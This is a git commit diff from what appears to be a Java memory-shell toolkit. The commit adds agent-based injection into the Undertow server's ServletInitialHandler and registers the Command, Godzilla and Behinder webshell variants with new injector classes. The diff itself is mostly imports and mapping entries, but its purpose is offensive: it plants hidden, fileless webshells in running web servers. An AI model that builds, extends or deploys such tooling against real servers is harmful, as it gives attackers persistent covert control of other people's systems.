feat: support undertow agent shell (#21)

1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
This commit is contained in:
ReaJason
2025-01-07 23:26:59 +08:00
parent 1f04701cc1
commit a6f5ee96d6
14 changed files with 372 additions and 34 deletions
@@ -7,10 +7,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import org.apache.commons.lang3.tuple.Pair;
@@ -23,6 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/10
*/
public class UndertowShell extends AbstractShell {
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
@@ -32,7 +37,8 @@ public class UndertowShell extends AbstractShell {
FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
);
}
@@ -44,7 +50,8 @@ public class UndertowShell extends AbstractShell {
FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
);
}
@@ -56,7 +63,8 @@ public class UndertowShell extends AbstractShell {
FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
);
}
}